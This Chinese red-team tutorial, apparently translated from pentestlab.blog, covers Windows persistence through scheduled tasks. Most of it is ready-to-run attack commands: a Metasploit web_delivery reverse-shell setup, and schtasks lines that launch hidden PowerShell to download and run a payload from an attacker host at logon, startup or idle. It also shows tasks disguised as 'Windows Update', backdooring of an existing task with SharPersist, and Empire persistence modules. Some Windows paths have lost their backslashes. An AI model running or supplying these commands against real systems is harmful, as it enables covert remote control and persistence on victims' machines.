在 Windows 系统上,可以使用计划任务来定时执行某些操作,方便用户对系统的使用和管理,红队成员也可以利用这个特性来对系统进行持久化的控制。
创建计划任务可以本地或者远程操作,也可以作为远程执行命令的一种方式,老版本的 Windows 系统可以用 at 命令创建,新系统内逐渐替换为 schtask 命令。
首先使用 Metasplit 的 web_delivery 模块生成一个有效 payload:
代码语言:javascript复制use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit
在 cmd 下执行 schtask 来创建计划任务,在用户登录系统时,执行生成好的 Powershell 的 padyload:
schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
当用户登录时,payload 执行后,meterpreter 得到一个会话:
也可以在空闲时间进行执行,命令如下:
#(X64) - On System Start schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X64) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30 #(X86) - On User Login schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System #(X86) - On System Start schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System #(X86) - On User Idle (30mins) schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
除了可以定时执行外,还可以设置过期时间和自我删除功能:
schtasks /CREATE /TN "Windows Update" /TR "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53 /Z /IT /RU %USERNAME%
如果目标系统启用了事件日志记录,可以选择在特定的事件上触发任务,可以使用 wevtutil 查询事件 ID:
wevtutil qe Security /f:text /c:1 /q:"Event[System[(EventID=4647)]]
然后创建一个调度任务,当关联的事件 ID 出现时,触发任务执行:
schtasks /Create /TN OnLogOff /TR C:tmppentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
使用 Query 参数可以查看创建的任务计划:
schtasks /Query /tn OnLogOff /fo List /v
当管理员登出系统时,触发任务执行:
也可以使用 Powershell 来创建计划任务:
代码语言:javascript复制$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:temppentestlab.exe"
$T = New-ScheduledTaskTrigger -AtLogOn -User "pentestlab"
$S = New-ScheduledTaskSettingsSet
$P = New-ScheduledTaskPrincipal "Pentestlab"
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask Pentestlab -InputObjec $D
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:temppentestlab.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
$P = New-ScheduledTaskPrincipal "NT AUTHORITYSYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask PentestLaboratories -InputObject $D
SharPersist
这是个二进制文件,需要管理员权限运行,下载地址:
https://github.com/fireeye/SharPersist
使用下面的命令在管理员登录的时候执行 payload:
SharPersist.exe -t schtask -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m add -o logon
在目标系统重启之后执行 payload,获得会话:
SharPersist 还可以列出指定的计划任务来获得相关信息:
SharPersist -t schtask -m list -n "PentestLab"
或者列出全部的计划任务信息:
SharPersist -t schtask -m list
SharPersist 也可以检查任务是否执行成功的功能:
SharPersist.exe -t schtask -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m check
列出登录时执行的所有计划任务,可以用于排查恶意软件添加的计划任务:
SharPersist -t schtaskbackdoor -m list -o logon
使用 schtaskbackdoor 和 check 功能结合,可以识别指定的计划任务是否为后门:
SharPersist.exe -t schtaskbackdoor -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "PentestLab" -m check
使用 add 参数可以执行恶意命令的现有计划任务:
SharPersist.exe -t schtaskbackdoor -c "C:WindowsSystem32cmd.exe" -a "/c C:tmppentestlab.exe" -n "ReconcileLanguageResources" -m add
Empire
使用下面的命令创建每天凌晨 03:22 执行基于 PowerShell 的 payload,任务名称为 "WindowsUpdate" 用来迷惑用户:
usemodule persistence/userland/schtasks set Listener http set TaskName WindowsUpdate set DailyTime 03:22 execute
Payload 会以 base64 编码的格式保存在注册表中,还有个模块可以在用户登录期间执行 Payload:
usemodule persistence/elevated/schtasks* set Listener http
参考
https://attack.mitre.org/techniques/T1053/
https://github.com/fireeye/SharPersist
https://www.fireeye.com/blog/threat-research/2019/09/sharpersist-windows-persistence-toolkit.html
https://powersploit.readthedocs.io/en/latest/Persistence/New-UserPersistenceOption/
https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks?redirectedfrom=MSDN
文章来源:
https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/